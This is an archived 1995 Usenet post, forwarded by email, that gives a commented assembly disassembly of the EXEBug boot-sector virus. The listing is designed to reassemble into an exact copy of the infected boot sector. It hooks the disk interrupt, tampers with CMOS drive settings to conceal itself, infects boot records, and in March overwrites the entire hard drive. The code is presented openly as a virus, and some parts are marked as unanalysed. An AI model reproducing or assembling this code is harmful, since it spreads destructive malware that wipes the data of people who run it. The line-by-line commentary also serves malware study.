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vxug-MalwareSourceCode/MSDOS/E-Index/Virus.MSDOS.Unknown.exebug.asm
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From smtp Tue Feb 7 13:18 EST 1995
Received: from lynx.dac.neu.edu by POBOX.jwu.edu; Tue, 7 Feb 95 13:18 EST
Received: by lynx.dac.neu.edu (8.6.9/8.6.9)
id NAA25457 for joshuaw@pobox.jwu.edu; Tue, 7 Feb 1995 13:20:39 -0500
Date: Tue, 7 Feb 1995 13:20:39 -0500
From: lynx.dac.neu.edu!ekilby (Eric Kilby)
Content-Length: 44201
Content-Type: binary
Message-Id: <199502071820.NAA25457@lynx.dac.neu.edu>
To: pobox.jwu.edu!joshuaw
Subject: (fwd) EXEBug
Newsgroups: alt.comp.virus
Status: O
Path: chaos.dac.neu.edu!usenet.eel.ufl.edu!news.bluesky.net!news.sprintlink.net!uunet!ankh.iia.org!danishm
From: danishm@iia.org ()
Newsgroups: alt.comp.virus
Subject: EXEBug
Date: 5 Feb 1995 22:08:52 GMT
Organization: International Internet Association.
Lines: 641
Message-ID: <3h3i9k$v4@ankh.iia.org>
NNTP-Posting-Host: iia.org
X-Newsreader: TIN [version 1.2 PL2]
Here is the EXEBug virus:
;-------------------------------------------------------------------------
.286p ; The EXEBUG2 Virus. This virus
.model tiny ; infects diskette boot sectors and
.code ; activates in March of any year,
; destroying the hard drive. It
ORG 0100h ; contains instructions for 80286+
; processors.
;---------------------------------------;---------------------------------
; As of Apr 21st, this disassembly is ; Disassembled with Master Core
; incomplete, as the test computer uses ; Disassembler: IQ Software
; Disk Manager and can not be infected. ; Analyzed with Quaid Analyzer:
; ; Quaid Software Ltd.
;-------------------------------------------------------------------------
; We are using an origin of 100h, so that this can be assembled with TASM
; and linked with tlink /t. You will have a 512 byte .COM file which is
; a byte-for-byte duplicate of the original boot sector. Note that 100h
; must be subtracted from many of the offsets.
;-------------------------------------------------------------------------
;Offset Opcode |Comment
;---------------------------------
Boot_Start: ;00100 EB1C
;---------------------------------
JMP Short Change_RAM ; Boot sectors always begin with
; a long jump (E9 XX XX) or a short
; jump (EB XX 90)
;---------------------------------
NOP ;00102 90 |NOP for short jump
;---------------------------------------; |
; Data in Code Area ; |
;---------------------------------------; |
OEM DB "MSDOS5.0" ;00103 4D53444F|OEM name
Byt_Sec DW 0200h ;0010B 0002 |Bytes per sector
Sct_AlU DB 02h ;0010D 02 |Sectors per
; | allocation unit
RsvdSct DW 0001h ;0010E 0100 |Reserved sectors
NumFATs DB 02h ;00110 02 |Number of FATs
RootSiz DW 0070h ;00111 7000 |Number of root dir
; | entries (112)
TotSect DW 02D0h ;00113 D002 |Total sectors in
; | volume (1440)
MedDesc DB 0FDh ;00115 FD |Media descriptor
; | byte:
;---------------------------------
; F8 = hard disk
; F0 = 3<>" 18 sector
; F9 = 3<>" 9 sector
; F9 = 5<>" 15 sector
; FC = 5<>" SS 9 sector
; FD = 5<>" DS 9 sector
; FE = 5<>" SS 8 sector
; FF = 5<>: DS 8 sector
;---------------------------------
FATSect DW 0002h ;00116 0200 |Sectors per FAT
Sct_Trk DW 0009h ;00118 0900 |Sectors per track
NumHead DW 0002h ;0011A 0200 |Number of heads
aDrvNum DW 0000h ;0011C 0000 |Drive number (0=A:)
;---------------------------------------;---------------------------------
; |
Change_RAM: ; |
; |
XOR AX,AX ;0011E 33C0 |Zero register
MOV DS,AX ;00120 8ED8 |DS = 0000
MOV DI,AX ;00122 8BF8 |DI = 0000
MOV SS,AX ;00124 8ED0 |SS = 0000
MOV SP,7C00h ;00126 BC007C |SP = 7C00
;---------------------------------
; Get RAM size (usually 64*10 K)
; and put it in register AX.
Get_RAM_Size: ;---------------------------------
; |
MOV AX,Word Ptr DS:[0413h] ;00129 A11304 |0000:0413 holds
; | RAM size
MOV CX,0106h ;0012C B90601 |This does two things:
; |it sets up a MOVSW,
; |and it puts a 6 in
; |CL for the SAL,CL
DEC AX ;0012F 48 |Steal 1K of RAM
; | (decrease RAM size)
MOV SI,SP ;00130 8BF4 |SI is 7C00. Use to
; | move boot sector
; | in Copy_Boot routine.
;---------------------------------
; RAM size is now 1K less; put it
; in DS:0413h (RAMsize)
Put_RAM_Size: ;---------------------------------
; |
MOV Word Ptr DS:[0413h],AX ;00132 A31304 |Put the new RAM
; | size back in [0413]
SAL AX,CL ;00135 D3E0 |Convert to paragraphs
;-------------------------------------------------------------------------
; AX now holds the SEGMENT of the new Int 13 service routine at TOM - 1K.
; Next operation exchanges this with the old Int 13 segment stored at 0000:004E.
;-------------------------------------------------------------------------
; |
MOV ES,AX ;00137 8EC0 |ES = new area SEGMENT
PUSH AX ;00139 50 |Save SEGMENT address
; | on stack. Jump here
; | at offset 0152.
XCHG AX,DS:[004Eh] ;0013A 87064E00|Exchange new and old
; | SEGMENTS
;---------------------------------
MOV Word Ptr DS:[7C00h+offset I13_Seg - 100h],AX
;---------------------------------
;0013E A3B87C |This really should be:
; |[7C00h+offset I13_Seg],
; |but we use an ORG of
; |100h here.
; <Store old SEGMENT at 7CB8>
;---------------------------------
MOV AX,offset New_Int13_ISR - 100h
;---------------------------------
;00141 B83201 |Likewise the offset
; |of the new Int 13
; |service routine is
; |decremented by 100h
;------------------------------------------------------------------------
; AX now holds the OFFSET of the new Int 13 service routine, which is
; in our code at offset 232h. Next operation exchanges this with the
; the offset stored at 0000:004C.
;------------------------------------------------------------------------
; |
XCHG AX,DS:[004Ch] ;00144 87064C00|Exchange new and old
; | OFFSETS
;---------------------------------
MOV Word Ptr DS:[7C00h+offset I13_Off - 100h],AX
;---------------------------------
;00148 A3B67C |Again, decrement by
; | 100h to compensate
; | for ORG 100h
; <Store old OFFSET at 7CB6>
;---------------------------------
MOV AX,[offset Activation - 100h]
;---------------------------------
;0014B B89900 |Move offset of
; |Activation routine
; |to AX.
PUSH AX ;0014E 50 |Push the Activation
; |address, and then
; |use that as the
; |OFFSET when we RETF
; |at offset 0152.
Copy_Boot: ;---------------------------------
; |
CLD ;0014F FC |movsb will increment
; |pointers cx=0106h
; |ds=0000h sp=7C00h
; |si=7C00h di=0000h
; |Repeat until Zero
; |Flag=0 or CX Times
; |
REP MOVSW ;00150 F3A5 |MOVE DS:SI TO ES:DI
;---------------------------------
; Move virus up to the memory we have
; allocated, and set the INT handler.
;---------------------------------
; |
RETF ;00152 CB |The segment and
; |offset of the
; |Activation routine
; |were pushed on the
; |stack previously, so
; |a RETF jumps there
; |(at top of memory)
;>>>>>>>>>>>>>>>|JUMP TO ACTIVATION
;---------------------------------------;---------------------------------
; |
DB 04h ;00153 04 |
Drive DB 20h ;00154 20 |CMOS drive type (AH),
; | is stored here.
ChkSum DW 046Ch ;00155 6C04 |CMOS checksum (DX),
; | is stored here.
Install DB 01h ;00157 01 |This byte is checked
; | at offset 294. It is
; | used for the value
; | of CX when the boot
; | record is written
; | (starting sector)
; | Values are 1 or 11h.
;-------------------------------------------------------------------------
; The code (or is it data?) below from offsets 0158 to 0198 is not analyzed,
; as I could not get an infection on the test computer.
;-------------------------------------------------------------------------
SUB [BX+SI],CH ;00158 2828 |
ADD [BX+DI],AL ;0015A 0001 |
ADD AL,[BP+1Eh] ;0015C 02461E
; ADD AL,[BP+offset Change_RAM-100h]
PUSH CX ;0015F 51 |
MOV DL,65h ;00160 B265 |
MOV DI,DX ;00162 8BFA |
DEC AL ;00164 FEC8 |
STOSW ;00166 AB |STORE Word STRING
; | FROM AX
ADD DI,+04h ;00167 83C704 |
XOR AL,0C0h ;0016A 34C0 |
STOSW ;0016C AB |
MOV CL,0Bh ;0016D B10B |cl=0Bh dl=65h
REP STOSB ;0016F F3AA |STORE 0Bh Bytes
; | STRING FROM AL
MOV CL,13h ;00171 B113 |
MOV BH,03h ;00173 B703 |
CALL $-170h ;00175 E88DFE |This calls offset
; |7B05 in this segment.
MOV AH,13h ;00178 B413 |
INT 2Fh ;0017A CD2F |Get & set DOS disk
; |int handler
; |ds:dx=new handler,
; |es:bx=old
MOV CS:[01B8h],DS ;0017C 2E8C1E |
; B801 |
; |
MOV CX,DX ;00181 8BCA |
INT 2Fh ;00183 CD2F |Set it again
MOV DS:[01B6h],CX ;00185 890EB601|
CMP CL,32h ;00189 80F932 |
JZ H0000_0198 ;0018C 740A |Return if CL=32h
MOV CX,CS ;0018E 8CC9 |
ADD CX,+10h ;00190 83C110 |
PUSH CX ;00193 51 |
MOV AX,00FDh ;00194 B8FD00 |
PUSH AX ;00197 50 |
; |
H0000_0198: ;---------------------------------
; |
RETF ;00198 CB |
;---------------------------------------;---------------------------------
; |
Activation: ; |
; |
CALL Main_Routine ;00199 E86800 |
MOV AH,04h ;0019C B404 |AH=4 (get date)
INT 1Ah ;0019E CD1A |Get date
; |CX=year, DX=mon/day
CMP DH,03h ;001A0 80FE03 |Is it month #3
JZ Damage ;001A3 7402 |If it is March,
; | do damage
INT 19h ;001A5 CD19 |Otherwise reboot
; | with virus resident
; | and Int 13 hooked
;---------------------------------------;---------------------------------
; Set up Int 13 call from the new
Damage: ; ISR at I13_Seg:I13_Off.
;---------------------------------
MOV AL,0FFh ;001A7 B0FF |
OUT 21h,AL ;001A9 E621 |Turn off IRQs
MOV DX,0080h ;001AB BA8000 |DH = head # (0),
; |DL = drive #
; | (+80 for hd)
MOV CX,0101h ;001AE B90101 |CH = cylinder #,
; |CL = sector #
Trash_HardDrive: ;---------------------------------
; |
MOV AX,0311h ;001B1 B81103 |AH = function 03
; | (write sectors)
; |AL = # of sectors
PUSHF ;001B4 9C |Push flags: normally
; | done prior to
; | interrupt.
FarCall DB 9Ah ;001B5 9A |Call the Int 13
; | service routine
I13_Off DW 0AB1Bh ;001B6 1BAB |(real) Int 13 offset
I13_Seg DW 0F000h ;001B8 00F0 |(real) Int 13 segment
INC DH ;001BA FEC6 |Next head
AND DH,07h ;001BC 80E607 |Test bits 0-3 of DH,
; | clear 4-7
JNZ Trash_HardDrive ;001BF 75F0 |If #head > 7
; |continue, else trash
INC CH ;001C1 FEC5 |Next cylinder
JNZ Trash_HardDrive ;001C3 75EC |If #cylinder > 255
; | continue, else keep
; | on trashing.
ADD CL,40h ;001C5 80C140 |Set bits 6 and 7 of
; | CL, enabling the
; | entire drive to be
; | overwritten (or at
; |least 1024 cylinders)
JMP Short Trash_HardDrive ;001C8 EBE7 |Only way out of this
; | is a disk error, or
; | power off.
;--------------------------------------------------------------------------
;At this point, it is important to
Change_CMOS: ;know what the contents of DX is.
; CMOS checksums are stored at
; DS:0053 and DS:0055
;--------------------------------------------------------------------------
MOV AL,10h ;001CA B010 |Diskette type
CALL CMOS_Read_Write ;001CC E80700 | SET DISKETTE TYPE
MOV AL,2Fh ;001CF B02F |Hi checksum byte
CALL CMOS_Read_Write ;001D1 E80200 | SET CHECKSUM: set
; | to zero or restore
MOV AL,2Eh ;001D4 B02E |Low checksum byte
; | SET CHECKSUM: set
; | to zero or restore
CMOS_Read_Write: ;---------------------------------
; |
OUT 70h,AL ;001D6 E670 |Tell CMOS address
; | to read (in AL)
XCHG AH,DL ;001D8 86E2 |1st call: AH=DL=00
; |2nd call: AH=DL=00
; |3rd call: AH=20,DL=00
; |4th call: AH=5F,DL=00
; |5th call: AH=02,DL=5F
; |6th call: AH=00,DL=02
; |
XCHG DL,DH ;001DA 86D6 |1st call: DH=DL=00
; |2nd call: DH=00,DL=20
; |3rd call: DH=00,DL=7F
; |4th call: DH=00,DL=02
; |5th call: DH=5F,DL=00
; |6th call: DH=02,DL=00
; |
IN AL,71h ;001DC E471 |Read CMOS to AL
; |1st call: AL=20
; |2nd call: AL=7F
; |3rd call: AL=02
; |4th call: AL=00
; |5th call: AL=00
; |6th call: AL=00
; |
XCHG DH,AL ;001DE 86F0 |Trade AL <-> DH
; |1st call: DH=20,AL=00
; |2nd call: DH=7F,AL=00
; |3rd call: DH=02,AL=00
; |4th call: DH=00,AL=00
; |5th call: DH=00,AL=5F
; |6th call: DH=00,AL=02
; |
OUT 71h,AL ;001E0 E671 |Write contents of
; | AL to CMOS
; |1st call: AL=00
; |2nd call: AL=00
; |3rd call: AL=00
; |4th call: AL=00
; |5th call: AL=5F
; |6th call: AL=02
; |
RET ;001E2 C3 |Return to Call_CMOS
;---------------------------------------;---------------------------------
; |
Setup_Int13: ; |
; |
MOV AX,0301h ;001E3 B80103 |Function #3: write
; | (1) sector
Real_Int13_2: ;---------------------------------
; |
CALL Restore_CMOS ;001E6 E80500 |Restore original CMOS
PUSHF ;001E9 9C |Prepare for interrupt
;---------------------------------
;DO THE INTERRUPT 13
CALL DWord Ptr DS:[I13_Off-100h] ;Subtract 100h from
; offset of old Int 13
;001EA FF1EB600| vector and then call
; | it as a DWord (i.e.
; | as Segment:Offset)
; | Standard Int 13
; | resets and repeats
; | 3 times if carry
; | flag not clear.
Restore_CMOS: ;---------------------------------
; |
CALL Xchg_Old_New ;001EE E80300 |
CALL Change_CMOS ;001F1 E8D6FF |
; |
Xchg_Old_New: ;---------------------------------
; |
XCHG AX,DS:[0053h] ;001F4 87065300|
XCHG DX,DS:[0055h] ;001F8 87165500|
RET ;001FC C3 |
;---------------------------------------;---------------------------------
; |
Jump_From_Boot: ; |
; |
CALL Main_Routine ;001FD E80400 |
; CALL 0204h |
; |
CALL Restore_CMOS ;00200 E8EBFF |Call 01EEh
;-------------------------------;---------------------------------
;RETF ; |This must be assembled
; |as DB 0CBh, otherwise
DB 0CBh ;00203 CB |the assembler emits
; |CA CB 00.
;---------------------------------------;---------------------------------
; |Diddle CMOS. Read
Main_Routine: ;00204 |boot with new Int13.
; |
;-------------------------------------------------------------------------
; |
; (64 Bytes) FFEEDDCC BBAA9988 77665544 33221100 |This is the original
; -------- -------- -------- -------- |CMOS setting.
; CMOS IS NOW: 00008050 02269303 28000016 00200027 |
; 00000000 0000310D 80028003 00F00020 <--|diskette drive(s) type
; Checksum --> 7F021A04 01000009 04000000 00000000 |Bits 7-4: drive 0
; is 7F02 00000001 01000000 00000000 80190D80 |Bits 3-0: drive 1
; | 0000b = no drive
; | 0001b = 360K
; | 0010b = 1.2 MB
; | 0011b = 720K
; | 0100b = 1.44 MB
; |so in this case there
; |is one 1.2 meg drive
; |and no 'B' drive
;-------------------------------------------------------------------------
; |Put address of
CMOS_0: ; | hidden memory on
PUSH CS ;00204 0E | stack and then pop
POP DS ;00205 1F | it into DS.
MOV ES,CX ;00206 8EC1 |Zero ES
CALL Change_CMOS ;00208 E8BFFF |AX=0099,DX=0000
;-------------------------------------------------------------------------
;
; CMOS CHANGED: 00008050 02269303 28000017 00420002
; 00000000 0000310D 80028003 00F00000 <-NOTE CHANGE
; NOTE CHANGE-> 00001A04 01000009 04000000 00000000 No drive
; No checksum 00000001 01000000 00000000 80190D80
;
;-------------------------------------------------------------------------
; |Now the drive type
CMOS_1: ; | and checksum are 00
MOV AL,AH ;0020B 8AC4 |AX=2020
AND AL,0F0h ;0020D 24F0 |AX=2020
JZ Calc_ChkSum ;0020F 7408 |Is zero flag set?
MOV DS:[0055h],DX ;00211 89165500|Store checksum in
; | DS:[0055]
MOV DS:[0054h],AH ;00215 88265400|Store drive type
; | in DS:[0054]
Calc_ChkSum: ;---------------------------------
; |
AND AH,0Fh ;00219 80E40F |Clears high bits
; | AX=0020
SUB DL,AL ;0021C 2AD0 |DX=025F
SBB DH,00h ;0021E 80DE00 |DX=025F
CALL Change_CMOS ;00221 E8A6FF |AX=0020, DX=025F
;-------------------------------------------------------------------------
;
; CMOS CHANGED: 00008050 02269303 28000018 00030041
; 00000000 0000310D 80028003 00F00000
; NOTE CHANGE-> 5F021A04 01000009 04000000 00000000
; 00000001 01000000 00000000 80190D80
;
;-------------------------------------------------------------------------
; |
CMOS_2: ; |
MOV DL,80h ;00224 B280 | DL = 80
; |
Read_Boot: ;---------------------------------
; |
MOV CX,0001h ;00226 B90100 | CX = 0001
MOV DH,CH ;00229 8AF5 | DH = 00
POP AX ;0022B 58 | Pop return offset
PUSHF ;0022C 9C | Push flags
PUSH CS ;0022D 0E | Save segment
PUSH AX ;0022E 50 | Save offset
MOV AX,0201h ;0022F B80102 | AX = 0201 (read
; | one sector)
;
New_Int13_ISR: ;___ New Int 13 Service Routine ___
;
CLD ;00232 FC |Clear direction flag
PUSH DS ;00233 1E |
PUSH SI ;00234 56 |
PUSH DI ;00235 57 |Save some registers
PUSH CX ;00236 51 |
PUSH AX ;00237 50 |
PUSH CS ;00238 0E |
POP DS ;00239 1F |DS = CS
CMP AH,03h ;0023A 80FC03 |Is it a function 3
; | (write disk) call?
JNZ Real_Int13_1 ;0023D 7521 |No, so do real Int 13
CMP Byte Ptr ES:[BX],4Dh ;0023F 26803F4D|Yes, but is ES:[BX]=4D?
JNZ Real_Int13_1 ;00243 751B |No, so do real Int13
OR AH,DL ;00245 0AE2 |Yes, but which drive?
CMP CL,AH ;00247 3ACC |Is drive OK??
JNZ Real_Int13_1 ;00249 7515 |No, so do real Int13
MOV DI,BX ;0024B 8BFB |Yes, buffer is [4D]
MOV SI,00A7h ;0024D BEA700 |
MOV CX,01FEh ;00250 B9FE01 |Going to move 1FE words
AND DL,DL ;00253 22D2 |Is it drive #0 (A:)?
JNZ H0000_025E ;00255 7507 |No, so move 'em
MOV SI,0002h ;00257 BE0200 |Yes, SI = 0002
MOV AX,5CEBh ;0025A B8EB5C |Move value in AX
STOSW ;0025D AB | to ES:[4D]
; |
H0000_025E: ;---------------------------------
; |cx=01FEh,ds=0000h
; |si=0002h Move 1FE
REP MOVSB ; | words from DS:SI
;0025E F3A4 | to ES:DI
Real_Int13_1: ;---------------------------------
; |
POP AX ;00260 58 |Restore registers
POP CX ;00261 59 |
POP DI ;00262 5F |
MOV SI,AX ;00263 8BF0 |SI=function,subfn
CALL Real_Int13_2 ;00265 E87EFF |When done go to
; | Return_here.
Return_Here: ;---------------------------------
; |
JB Int13_Error ;00268 721D |If Int 13 returned
; | error go to err rtn
PUSH DI ;0026A 57 |Save registers
PUSH AX ;0026B 50 |
OR DH,DH ;0026C 0AF6 |Was drive A: target?
JNZ Exit_Virus ;0026E 7514 |Yes, Exit_Virus
CMP CX,+01h ;00270 83F901 |Was it a 1 sector
; | operation?
JNZ Exit_Virus ;00273 750F |No, Exit_Virus
MOV AX,SI ;00275 8BC6 |Restore Int 13
; | function, sub fn
CMP AH,02h ;00277 80FC02 |Was it a read fn?
JZ Int13_Read ;0027A 7410 |
CMP AH,03h ;0027C 80FC03 |
JNZ Exit_Virus ;0027F 7503 |
; |
Read_New_Boot: ;---------------------------------
; |This pushes the
CALL Read_Boot ;00281 E8A2FF | address of
; | Read_Boot on stack
Exit_Virus: ;---------------------------------
; |
CLC ;00284 F8 |
POP AX ;00285 58 |Restore registers
POP DI ;00286 5F |
; |
Int13_Error: ;---------------------------------
; |
POP SI ;00287 5E |
POP DS ;00288 1F |
RETF 0002h ;00289 CA0200 |Return to address
; | on stack. Discard
; | next two bytes on
; | stack. This
; | eventually gets us
; | to offset 19C (check
; | activation & reboot)
;---------------------------------------;---------------------------------
Int13_Read: ; |
; |
PUSH CX ;0028C 51 |Push # sectors
CMP Byte Ptr ES:[BX+28h],7Ch;0028D 26807F |Compare [0000:7C28]
; 287C | with 7C. (Boot
; | record offset 28).
JNZ Boot_Changed ;00292 750D |If no, then the
; | boot record changed.
;00294 268B8F |MOV CX,ES:[BX+0057h]
; 5700 |
;
MOV CX,ES:[BX + word ptr Install - 100h] ;Move starting sector
; to CX
MOV AL,01h ;00299 B001 |
CALL Real_Int13_2 ;0029B E848FF |
; |
HD_Exit: ;---------------------------------
; |
POP CX ;0029E 59 |
JMP Short Exit_Virus ;0029F EBE3 |
;---------------------------------------;---------------------------------
Boot_Changed: ; |
; |
PUSH DX ;002A1 52 |Save drive info
MOV CL,11h ;002A2 B111 |CX=0011 (Changed)
TEST DL,80h ;002A4 F6C280 |Is it a hard drive?
JNZ Hard_Drive ;002A7 7534 |Yes, goto Hard_Drive
MOV CH,28h ;002A9 B528 |
CMP Byte Ptr ES:[BX+15h],0FCh;002AB 26807F |
; 15FC |
JNB H0000_02B4 ;002B0 7302 |
SAL CH,1 ;002B2 D0E5 |
; |
H0000_02B4: ;---------------------------------
; | This code not
PUSH ES ;002B4 06 | analyzed as of
PUSH BX ;002B5 53 | April 21st.
XOR AX,AX ;002B6 33C0 |
MOV ES,AX ;002B8 8EC0 |
LES BX,DWord Ptr ES:[0078h] ;002BA 26C41E |
; 7800 |
; |Load ES & operand
; | from memory
PUSH ES ;002BF 06 |
PUSH BX ;002C0 53 |
INC AL ;002C1 FEC0 |
MOV CL,AL ;002C3 8AC8 |
XCHG CL,ES:[BX+04h] ;002C5 26864F04|
MOV AH,05h ;002C9 B405 |
MOV BX,0059h ;002CB BB5900 |
MOV [BX],CH ;002CE 882F |
PUSH CS ;002D0 0E |
POP ES ;002D1 07 |
CALL Real_Int13_2 ;002D2 E811FF |
POP BX ;002D5 5B |
POP ES ;002D6 07 |
XCHG CL,ES:[BX+04h] ;002D7 26864F04|
POP BX ;002DB 5B |
POP ES ;002DC 07 |
; |
Hard_Drive: ;---------------------------------
; |
CALL Setup_Int13 ;002DD E803FF |Prepare for Write
POP DX ;002E0 5A |Get drive info
JB HD_Exit ;002E1 72BB |On error exit
MOV DS:[0057h],CX ;002E3 890E5700|DS:[57]=11 (Changed)
MOV Word Ptr ES:[BX],1CEBh ;002E7 26C707 |[0000:7C00] now holds
; EB1C | EB 1C.
MOV SI,001Eh ;002EC BE1E00 |SI=001E
;-------------------------------;---------------------------------
;LEA DI,[BX+001Eh] ; |TASM will emit 8D7F1E
; |for this instruction,
DB 8Dh,0BFh,1Eh,00h ;002EF 8DBF1E00|so assemble as DB's
; |BX=7C00 SI=001E
; |ES=0000 DI=7C1E
;-------------------------------;---------------------------------
MOV CX,01E0h ;002F3 B9E001 |cx=01E0h si=001Eh
REP MOVSB ;002F6 F3A4 |Move DS:SI to ES:DI
; |Restore boot record
; | from ofs 7C00:001E
; | Note initial jump
; | restored to EB 1C.
POP CX ;002F8 59 |CX=number of sectors
CALL Setup_Int13 ;002F9 E8E7FE |Write the new boot
; | record.
JMP Short Read_New_Boot ;002FC EB83 |Read it and process.
;---------------------------------------;---------------------------------
Boot_ID DW 0AA55h ;002FE 55AA |All valid boot
; | sectors end with
; | 55AA
ENDS ;---------------------------------
; Disassembly by Arthur Ellis and ??
END Boot_Start ; [Suggestions by Lucifer Messiah]
; April, 1993
;-------------------------------------------------------------------------
--
Eric "Mad Dog" Kilby maddog@ccs.neu.edu
The Great Sporkeus Maximus ekilby@lynx.dac.neu.edu
Student at the Northeatstern University College of Computer Science
"I Can't Believe It's Not Butter"
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